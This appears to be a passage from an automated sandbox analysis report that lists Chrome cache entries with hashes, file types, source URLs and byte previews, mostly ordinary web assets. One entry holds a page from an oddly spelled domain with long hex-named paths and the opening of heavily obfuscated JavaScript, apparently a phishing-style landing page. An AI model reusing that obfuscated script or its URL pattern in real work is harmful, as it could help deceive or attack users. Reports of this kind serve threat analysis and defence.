.v...[.JST]8......PR...R.(.l..i..(qw<.S2)...........2..O...............8...{J.>..I.{0..M................ZxC......cu=.g..fD5.G.9.j.j...M..`.i..F..A...\|.[.Zj.}f.-./..\d.._.g1.oUmw..i.....S....dEZ.l6.Pm.x......>...y.).z.8>...k.....~...k.....6.w.^......5...j..

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2, software=Pixelmator Pro 2.0.1], baseline, precision 8, 1600x604, components 3
Category:	dropped
Size (bytes):	334155
Entropy (8bit):	7.690357767545978
Encrypted:	false
SSDEEP:	6144:VUr9OpYf4wG6nbnOOVawjnrE0Oi83uYEowd7+NovpCl+e2JaTzjhGCwVXqgFtOED:8+Yf4wG6nrOGa8nRQuPoNOxWTvtwVXtl
MD5:	93F9D6750228F4940B91DACD376486EC
SHA1:	F75F0143619579B8A097F4E88F0118C61152798B
SHA-256:	23C58D7199533FA2BE1E457F2DBEF7A4974884303D9F755B9F0B593ECDC84294
SHA-512:	C2E519B3B1FC7451A9F2D9B4D3CE144EBCAB372A40D9AFB54925A20F07F195160B6DB0057FBF24B43ED013F800EDAB18D716A9DD5AC9A7B1F790F4FBA6F240E3
Malicious:	false
Preview:	......JFIF.....H.H......Exif..MM.*.............................V...........^.(...........1.........f.i.........\|.......H.......H....Pixelmator Pro 2.0.1...............@...........\........http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmp:MetadataDate="2020-12-10T19:58:29Z" xmp:CreatorTool="Pixelmator Pro 2.0.1"/> </rdf:RDF> </x:xmpmeta>

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 196567
Category:	downloaded
Size (bytes):	65994
Entropy (8bit):	7.996044326253928
Encrypted:	true
SSDEEP:	1536:RThQCXE3rMvvQrLR8re0epkypL/4Y3Xq4nusjfUMNrQmct:RTqbMvgRMe0Gh/4Ynq4n+wrNK
MD5:	C34A88BC2E66B42C18C1DDCD6E0C5157
SHA1:	7D8AABF0306B8CFC02FEB3E40408898565579EC2
SHA-256:	175A3FBEE6653F5ECBEF1A0EDDDBD0E3BC115D96379550CE7C8C96C4608F43E4
SHA-512:	F6CC8F51CF22F7E7749888931631FB9C38302695E193D700DC9EC68C11035C52F9BE36D98D7FC02DB41E2A3CB11018E61853FD7FFA67FDBBFF0F6CF05CF97FCA
Malicious:	false
URL:	http://maps.googleapis.com/maps/api/js?sensor=false
Preview:	...........iw..(.......N..v..vU.I....MrrSJ..X..!C..... ..J.....n,Q.@....._....n...z~$JV)...\z.4_.J....%..2....^.0KO.J%....J..;.D.L%I......v...{s...Z..#Xi$.F.......\CV...Q..J...tm..b.........M....W.J..N..........:...]]....XXh.......V.^..Zw....Z....%.....R%k.V.kFm'.j..y.L.3.u.58....W..r.S.....9v{8..Hl...<S..<P.o ..R..".....C._.......a)..e..G.!Fw...."...y..w..Q0..].F......]..)..?.i5.Q5@4...B.../.9.PNe..93@.s..>.X>...8..P......,....Tq........6.Y.8[...J............>..pd..cQ.....Oz=...paye.-..XY^.......y...f....].j.tb..z....T.?..".........+....\....u\|.n..:.n9.<^B..-_.......D.c.g."+-..l..*..O.oiq......!.+.........HB..R..QgWD....w.....G..<..Ao.C.Oz...>...4.N. \|...c.g..s...=[4.o..g..X..BGT..h_...G..?..8.B.....@.N..C...M...K/}X~..J......aN.F..C1..0..b0..i.w2....%..A.j....G)-5~..Q8z....F.rf.HM2.....!.U=...w"...`85;.3......-..Cg..G.b0...;b8Dn...:7..x...x..Pr7L..7.w,W....7...N..~.j.GX....1<..;o.Q.T5O..q............mt...}t.....-....r.Y<...v.spg...]\|

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 142385
Category:	downloaded
Size (bytes):	22278
Entropy (8bit):	7.987394596719763
Encrypted:	false
SSDEEP:	384:FmgfYvuCsuvogolvyuZIoqp5G0ZTtuG2dlUjNQyF0ioyWhtNY0vZSY:FmgfYvuCsuYvPZI7iQTx2AOyFSyU6OwY
MD5:	5D6438DE03462F0654AF48F2C153DA96
SHA1:	863A6682DAB5FC9383C28B2FED32BF4BC2223619
SHA-256:	C66E4B86F48EFF889151EF2454D066839F6EF8A3A3D78C800B2A95FC7B353F38
SHA-512:	C1CD25D3F4F14A4971298FD417DD79408DE14795174B33B681F4443B0397B68EDA1043BE48D217856F21B0291852F6E66EC5C362A4872F9FA9CFEF2C30B9598B
Malicious:	false
URL:	http://www.pipebending.com/styles/145ac2e7.app.css
Preview:	............. .......HjQ.....O..1....1....D..D...5...,.d.o$...TUw.vE.P@".d&.@"....Vu......m.~...CynF.t....)/.>..9....<..m.XW..kU\|.C.\|-....W.. .Y.....}.g.......Ni.......l?/..z....\|...[..j-.4.DS].N......-...... ..,.>6...D.......xi.m..P..H..w....?.E..J..$...$.B...T."....2. x;.;..m.\|...0&o.........o.xW.O..d............w.........v..~...y:.T......d_..c./?3..._......<......L& q..~~...y..T...#/.(...^.a..)..&..j....&/..._V..9{I.:V...Czh..c}g......7H.......{..%.n....).0..V.........zW....J.M.7.<d.^.E........m...!.\|..e....l6..K....U..<..u....Oe..i.Y.....R._..t[d#..U#N..K~z.6.-T.e.N...\|......[@..tx../.....7.f.....>d......Y.....7... ...O.2..\|......P........h...;&&.p.........1GMy.Q..2..mV.4g`.A..+_..:{....$...... .H.........).^.9..z._...$.....\..sV..]...3>.l.......Gl..wyZ..);......5z.0.?<.ZFG]...EZ...W.....k4(<....G......W,..2.*......?.g5.......q.g,.v..x.........cY..c..b.on..L..";4.j.ZN._.w.o%....T........U...c...,.LbV.......G.>FL..2..

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4179)
Category:	downloaded
Size (bytes):	201578
Entropy (8bit):	5.535865809062268
Encrypted:	false
SSDEEP:	3072:ljq+71vbzwHnHJF8rvp2LUF1eKPyUF722gY8pv1Hrreil:hq8wHWzZ722v8pNHGE
MD5:	2F731F1ACD208CB385AEBE1B67C243E2
SHA1:	862360584B1578C68C1950C1CEB24A8FC2F430E4
SHA-256:	2FA1891F5F1E971AD4AC9F0BAB4C3F6A9E7CE644D227B5404C80EE1BF0DC9661
SHA-512:	17D1F43631C611600E9106C7580A235B072A895A2B2E51B25DF6A05A1D7565DF191928772AA8CBD205C8B5D3CB636B1D50FD94C476C0E6C4390C5BF1A7182F0A
Malicious:	false
URL:	https://www.googletagmanager.com/gtag/js?id=UA-208681781-1&l=dataLayer&cx=c
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"}],. "tags":[{"function":"__ogt_1p_data_v2","priority":2,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_autoEmailEnabled":true,"vtp_autoPhoneEnabled":false,"vtp_autoAddressEnabled":false,"vtp_isAutoCollectPiiEnabledFlag":false,"tag_id":6},{"function":"__ccd_ga_first","priority":1,"vtp_instanceDestinationId":"UA-208681781-1","tag_id":9},{"function":"__rep","vtp_containerId":"UA-208681781-1","vtp_remoteConfig":["map"],"tag_id":1},{"function":"__zone","vtp_childContainers":["list",["map","publicId","G-R4TNS2YF4N"]],"vtp_enableConfiguration":false,"tag_id":3},{"function":"__ccd_ga_last","priority":0,"vtp_instanceDestinationId":"UA-208681781-1","tag_id":8}],. "predicates":[{"function":"_eq","arg0":["macro",0],"arg1":"gtm.js"},{"function":"_eq","arg0":["macro",0],"arg1"

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, truncated
Category:	downloaded
Size (bytes):	23
Entropy (8bit):	3.1961999989708914
Encrypted:	false
SSDEEP:	3:FttN053m/ln:Xtrl
MD5:	E3981CA10169A319D5AA062BF43A5FA1
SHA1:	2C6ED584767B65688CE99B1EBE1A3B7448A67421
SHA-256:	8B0B8749ABA12DE93F3CF5D86F9FAC9D6DE7CAC400A17473718F182A34EBB7E9
SHA-512:	A154A7A25CD8898B2DEDE603897897E7B0F8A0138C3C79C29314DF21195C4B86CFF4BE451A795B31B439AFCB16B73759EC1EC7AADA7F36D565B9EC690DFF43DA
Malicious:	false
URL:	http://maps.googleapis.com/maps/api/mapsjs/gen_204?csp_test=true
Preview:	.......................

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, CFF, length 17916, version 1.0
Category:	downloaded
Size (bytes):	17916
Entropy (8bit):	7.981073019364076
Encrypted:	false
SSDEEP:	384:IQnuoJ6L13wyCpIzGHLAPSKy9r2nrS7DLD86M0dAqSHdvnE/:IQuo6pkppmty+YDLDV1mqSHdvE/
MD5:	7C3178C75804AD7CAF4EC477FB186007
SHA1:	E7A4DE2D5501C55293751190DC640EABE373B1C3
SHA-256:	09D8B3B9F58757EEDC97137DF7294A779A8E2D61D72A65EED03046B05EC7CF95
SHA-512:	AE1E68081DFC6FCF86C54170C93C7FF10641E5CD29E8BB61586B68C756B74A55D45554607DF394B9763E90BC87A3220848E6A736421A0B60DB108BF962111519
Malicious:	false
URL:	http://www.pipebending.com/styles/fonts/UniveConBolObl.woff
Preview:	wOFFOTTO..E.......q<........................CFF ......<_..a.lC(XFFTM..=h........g>.XGDEF..=........ ....OS/2..=....T...`[r..cmap..=....i..... uhead..@d...4...6.VXDhhea..@.... ...$....hmtx..@...........=.maxp..B...........P.name..B....=.....d.post..E........ ...8x..\|.\|T.........:...;C..E:(M..@z.0(R. ...B.)"..E@.4..z.P..n`.9..&.......w7.N.s... K.p.\.;.M..?rT......:._.aC..}}H.1......Z......Y...\Y..o..R...h....AY....Q xo.. .th...X.5.5..UL..1...$..3d....}......F............C.c...=....3.OL.a#c....oL...bF....t.0<.........j....3rt..1.....3..x..0t4~'...;l..............U3....0t.hl-..7...:.bL.!Cb..(...16._E.7....o...;<~...._..o...1}..&.....ib.......3.>.%..>......~..........c......g...#G....F..E........72a....1}.."...y(...ohL..1.{.C....U....\........Ya d./.B..C.d...."!.r...!7....C.(...0.@.(..8...P.JC.(..<T....T.X..U.*T..P.jB-..u...........14.....C.h./C+......B;x..C.....3t...........zC.x.......,....<X....W..\|..a...K.....!...M..~....~......X..`5...........6.

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	dropped
Size (bytes):	935
Entropy (8bit):	2.5706427375454197
Encrypted:	false
SSDEEP:	6:Nr4hFCstrOWaWCQ8SW+UD2HUnNBWRY7hqqBGe:14nCyaiAkUD2HUnNBzqfe
MD5:	E4F8654EEAB26DE1424056B82E76734D
SHA1:	17E3F0EB4238309616F0D9CB0AFB2B44F86507C0
SHA-256:	B9602CE9D6EB18C6C57EFB3C295068802F18B58271B18A06A7DE792CA8E800AC
SHA-512:	7EDE178451D636FBA35CBEFBEC17CEAACF39D313BF65F7C743989A5908CEAED3EBE7B5C75536134F83AE0AB9264EBA626121FA01F54BA0C2C3A0A7548845563E
Malicious:	false
Preview:	GIF89a.............ccckkk.............)).11.9B.BB.JJ.RZ.ZZ.cc.kk.ss.{{........99.BJ.RR.ZZ......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................,............?..@.`....*.`..............3j40.... C.d.1.G.".F4.......,...C.1?.4....9w"......P..3.C..,\H.`A..N.LX@A.....0p.`AQ..2....@.A..ux3g..x.....;

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 593
Category:	dropped
Size (bytes):	341
Entropy (8bit):	7.396190329390051
Encrypted:	false
SSDEEP:	6:XtanHZz/bvGT8U2uLz7+aYp3yZPaFD1ZFzawq0KQyyu1k+WPROWnmJqwIWzTyl:XaxaT8U7Lzyly52D1ZFzfbKby6IELImq
MD5:	023DFB89891F564B493A0701DC80B489
SHA1:	722DD70A2B33134EEAD45EC95DB6DFDAA1994FF2
SHA-256:	FBD3718AAB40AB9F49BC42FE0FC7686F642BC98AEF57813C8E46CED30750C58B
SHA-512:	B1CB1E7BC07945302F0ED5168EC21F6F1EA286EA293C373CEB6D817C378EEE2DCBE3CA44915055647F7B73D28292DFEC69A96C9A85A2DA8D7E9C09D083786643
Malicious:	false
Preview:	...........Q]k.0..+.....u...1.L.{..4M.mR.v.....}0.{.....9..z.^.s...S..7..2..p..1....'....3...Q.j.....h]{.f4e..."_.DU(.#)....Y.][sX[..q...4h.hV.!-Q....$8./*<&...T~.K.4H.../n.....p..DJ..6.wK\|.......o.t(... o..}.Z.....y......}t......J.+c..-..^64.,.R.}...z..j...Q..n....b..d.F.Y.-.7.WX..Ot..,...M.j...)-..T........?.b.,jQ...

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7711)
Category:	downloaded
Size (bytes):	259935
Entropy (8bit):	5.573879305822801
Encrypted:	false
SSDEEP:	3072:RjIq+71vbzwHn239e38Wvp2LUF1eFn+MCv522gY8pv1HxynLP/w22bB/cL:1Iq8wH2t+KVK522v8pNHxELn2bE
MD5:	CAE7CC58C44ACC5A91FFDDB20EF281F3
SHA1:	E627F7E43572A701850D7F6950B61E752D6A42AD
SHA-256:	31F9A8A2F43D1218C17B69B3FB5931EF8E7646D0AE170ACBCA158E17BA411C15
SHA-512:	9E5FE1FC7F30F82A2294C00EE8666982FEEEFE3BBC0A73E411CCF11196109A4E4A6C27F21B467117DADDE52BFEA3C2CA3381A00820E4D2D5600DB963E887D97C
Malicious:	false
URL:	https://www.googletagmanager.com/gtag/js?id=G-R4TNS2YF4N&l=dataLayer&cx=c
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"},{"vtp_signal":0,"function":"__c","vtp_value":0},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0},{"vtp_signal":0,"function":"__c","vtp_value":0},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_ga_send","priority":10,"vtp_value":true,"tag_id":15},{"function":"__ogt_session_timeout","priority":10,"vtp_sessionMinutes":30,"vtp_sessionHours":0,"tag_id":17},{"function":"__ogt_1p_data_v2","priority":10,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (4020)
Category:	downloaded
Size (bytes):	4464
Entropy (8bit):	5.567321985477892
Encrypted:	false
SSDEEP:	96:5LIkEaeIllHhD6UPYznjUC5PAv00cCv3m4oilpM:lIkTeI7h/YzjUC5Yv4phc6
MD5:	69E48E1D639042C9CFEA70001C36DE52
SHA1:	FF08F2839449A569E8166EF198D9EDE1E9F1A2CC
SHA-256:	A2778C0609160734292E80253F4ECFCF0EECFC489D9A2F2424F4F395AC6F6E52
SHA-512:	C43E1FDF35D70FA7CDF5BE86A6C4B89F8FF6F302772BEBCEBA665DA60737EE367FE664F8AFE18D806E5356CA2FCECC51409B9FCE510D0C095DC1226290468472
Malicious:	false
URL:	https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301
Preview:	<!DOCTYPE html>.<html>.<head>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1">. <title></title>. <script src="jq/8a55860f2cae358e560aa5f55856c7c166218b25540f0"></script>. <script src="boot/8a55860f2cae358e560aa5f55856c7c166218b25540ff"></script>. <script src="js/8a55860f2cae358e560aa5f55856c7c166218b2554100"></script>.</head>..<script type="text/javascript">.function r(V,f){var e=I();return r=function(k,F){k=k-0x140;var G=e[k];return G;},r(V,f);}var A=r;(function(q,T){var K=r,S=q();while(!![]){try{var X=-parseInt(K('0x167'))/0x1(parseInt(K(0x172))/0x2)+parseInt(K('0x148'))/0x3+parseInt(K(0x181))/0x4+-parseInt(K('0x15e'))/0x5+-parseInt(K('0x15f'))/0x6+parseInt(K('0x143'))/0x7+parseInt(K(0x15b))/0x8(parseInt(K('0x180'))/0x9);if(X===T)break;else S['push'](S['shift']());}catch(y){S['push'](S['shift']());}}}(I,0x6def1));var G=(function(){var q=!![];return function(T,S){var X=q?function(){var t=r;if(S){var y=S[t('0x

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 37 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlAvttnthsyxl/k4E08up:6v/lhPWZthsy7Tp
MD5:	E4914D7B82856AB8079AE7E82A9A77CD
SHA1:	FFCDFCDF6E7C0EDCA579402DA3C714A5C0728F67
SHA-256:	C4A37C4CE64B37556AE47027CB2B9DA2E4B72D0FB17D69D2D5695587F249EFFB
SHA-512:	65FCB9D9D50090B187B9495BAD002A652BDF99E71A0988F18D8F4A1972A314BDF635CE4798FF9DE85C2CD9900F0EE2BBB102987DADF615062A40AFB087D80BB4
Malicious:	false
Preview:	.PNG........IHDR...%..........K!J....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42414)
Category:	downloaded
Size (bytes):	42415
Entropy (8bit):	5.374316408837108
Encrypted:	false
SSDEEP:	768:JC9//LuIHdibSt3JocMjX1yj8S7dYdxoqmNdbyBVnPNAZASyXY1eO4mH19B59:OuIHdibSt3aFyjX1PNd6+9
MD5:	374FEC8B5E50CD6AB980F3FEF21A5AA0
SHA1:	7F474607991A19B6F1B78CC32E0F75B501B60774
SHA-256:	8AF2DA74872F03E058AB79A584176D2086AFC01BBD42DD2ED14259179341BE6A
SHA-512:	3420E0DEF4FA49BD8B67DA80F1C3F56A08B4892BC0373D7BB824F8126713B209116147D4B1E1D5E7B07C6DBC58B1AD411AEB2F5A0DAE99FFC220246311E3808E
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/g/54ea73d52131/api.js?onload=lmgW1&render=explicit
Preview:	"use strict";(function(){function bt(e,r,t,o,u,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,u)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,u){var s=e.apply(r,t);function m(h){bt(s,o,u,m,b,"next",h)}function b(h){bt(s,o,u,m,b,"throw",h)}m(void 0)})}}function M(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):M(e,r)}function Ie(e,r,t){return r in e?Object.defineProperty(e,r,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[r]=t,e}function Ve(e){for(var r=1;r<arguments.length;r++){var t=arguments[r]!=null?arguments[r]:{},o=Object.keys(t);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(t).filter(function(u){return Object.getOwnPropertyDescriptor(t,u).enumerable}))),o.forEach(function(u){Ie(e,u,t[u])})}return e}function fr(e,r){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	315
Entropy (8bit):	5.0572271090563765
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoFEHcLgabzjsKtgsg93wzRbKqD:J0+oxBeRmR9etdzRxGezZfCzjsKtgizR
MD5:	A34AC19F4AFAE63ADC5D2F7BC970C07F
SHA1:	A82190FC530C265AA40A045C21770D967F4767B8
SHA-256:	D5A89E26BEAE0BC03AD18A0B0D1D3D75F87C32047879D25DA11970CB5C4662A3
SHA-512:	42E53D96E5961E95B7A984D9C9778A1D3BD8EE0C87B8B3B515FA31F67C2D073C8565AFC2F4B962C43668C4EFA1E478DA9BB0ECFFA79479C7E880731BC4C55765
Malicious:	false
URL:	http://www.pipebending.com/styles/vendor.css
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<p>Additionally, a 404 Not Found.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>.

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Pixelmator Pro 2.0, datetime=2020:11:05 20:31:16], baseline, precision 8, 189x131, components 3
Category:	dropped
Size (bytes):	61252
Entropy (8bit):	7.627015966008525
Encrypted:	false
SSDEEP:	1536:YL5F9FdcIKemRCXWqSCzwEquzvrDUxg+CHd+:W5F3q/eEBqLwCzvW9CHQ
MD5:	2B9991A51F9600B9E82654B84C4BD392
SHA1:	64423F6E780426DE6A361F8242564B1B5236C150
SHA-256:	42432BF5DB4A09CF0B2093FD3FC2DEC4F2A05B49E8E5346A7248D1DD4574E5E2
SHA-512:	D687D035BB6472BB35C8BECE3D7F52BB7A604D8B7BC67D95F4C54BD5DF0D9345E8B25B54F6140FAE702501164DB0473564DDDC600BBD177CCAB5C79DEFA60BF0
Malicious:	false
Preview:	......JFIF.....H.H......Exif..MM.*.............................b...........j.(...........1.........r.2...........i.................H.......H....Pixelmator Pro 2.0..2020:11:05 20:31:16......................................................2020:11:05 13:31:15...buhttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:illustrator="http://ns.adobe.com/illustrator/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpGImg="http://ns.adobe.com/xap/1.0/g/img/" xmlns:pdf="http://ns.adobe.com/pdf/1.3/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:dc="http://purl.org/dc/elements/1.1/" illustrator:CreatorSubTool="Adobe Illustrator" illustrator:StartupProfile="Print" xmp:Creator

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	downloaded
Size (bytes):	935
Entropy (8bit):	2.5706427375454197
Encrypted:	false
SSDEEP:	6:Nr4hFCstrOWaWCQ8SW+UD2HUnNBWRY7hqqBGe:14nCyaiAkUD2HUnNBzqfe
MD5:	E4F8654EEAB26DE1424056B82E76734D
SHA1:	17E3F0EB4238309616F0D9CB0AFB2B44F86507C0
SHA-256:	B9602CE9D6EB18C6C57EFB3C295068802F18B58271B18A06A7DE792CA8E800AC
SHA-512:	7EDE178451D636FBA35CBEFBEC17CEAACF39D313BF65F7C743989A5908CEAED3EBE7B5C75536134F83AE0AB9264EBA626121FA01F54BA0C2C3A0A7548845563E
Malicious:	false
URL:	http://www.pipebending.com/images/background/ICPDF.gif
Preview:	GIF89a.............ccckkk.............)).11.9B.BB.JJ.RZ.ZZ.cc.kk.ss.{{........99.BJ.RR.ZZ......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................,............?..@.`....*.`..............3j40.... C.d.1.G.".F4.......,...C.1?.4....9w"......P..3.C..,\H.`A..N.LX@A.....0p.`AQ..2....@.A..ux3g..x.....;

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 186167
Category:	downloaded
Size (bytes):	66950
Entropy (8bit):	7.993267536071426
Encrypted:	true
SSDEEP:	1536:HVNw6nn9QZOEd51OtpimntXtuoleQ0FdlSais:1Nwc4n1spi49r4Ft
MD5:	E19D4F33C555D127F9E9BDE9AD182B45
SHA1:	5D9938924BC1551C82A04BBAD13AFBD195BA1926
SHA-256:	CEA685205C6F009EE158F4DB6D07A84F962712E0F05960CABF2FC891F3A38185
SHA-512:	CA3B6360DD3B96FAF2234A828942795FAFDD1429AC723554A6B44BDE194F68DE46B014E3920CBB5A71DFDCBB73BF09C5B8575EB6CC5215B4F268AFD11581DB2C
Malicious:	false
URL:	http://maps.googleapis.com/maps-api-v3/api/js/56/8/util.js
Preview:	............{{..8..>.x.xYe.Bz.Qx..H.4._V).5.eCJlc...\|>..H..p..s... K..H..F#...).0......>....<.L...3..x.{..>\|..S........b^...l...g..v......w.1.-<._...p.!.....8....B.Cxw..O...\|9.S.....y..'`v...i..=.7.....Cx.!.]..!\|....\|...]..+..w..e..G...L....l.........c.a.#\..?}...p.#x>..#.>..G.}..G.}.n.n\|.~..>..G..#....\|.c..C..=..#....}.7>.[....G..#\|.......... .... .....N....n.0..&..e..3@...^u.u........a. ..B. ...<@...n....,..7]X........Q.p. ..........m........)@x....p(.. ...............s..%@.. \|.............=C`3.g.....3....s.~...3.`.0.!D3...V..g.73.........Lzp............7C...Ng.g3...........\|.!\|....\|.!...0D0C.;D`!..".!...LB.?D.....3...>.}....!.M....~...>....>...'!.i.z!B7D8..E.....C..!.G^U..9D.."\|..^..u.vC.......f.`G.o...V..D.....n......K...a.!\|...}.....!.....:B........y..)..Na.<.....+Bx.!.E..S.<...p.!LO.$B.F.W...B.71Bx...!.....E..y."..e..W...o..a.7#F.O...nNaq..N..),O...&1.e..?..Sxu.W1..S8?./F.c.7.0....!.%...Oa.#\|:.....)\|9.o...)\|?.E..{.x..b.e....8Fp..<..^..L..=...z1

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 17454
Category:	downloaded
Size (bytes):	4792
Entropy (8bit):	7.961500475557037
Encrypted:	false
SSDEEP:	96:rT5f3oNiH0bv+KVvKHMNkhibOtxDiIzBU6TWcgqIhJZV6rPyDfdDs2cDvgqpgZY3:r1f8iCmKVvIok4bOrn92c3UJ/6DyDf6P
MD5:	5AA45AB20C44260F176F19760DC71097
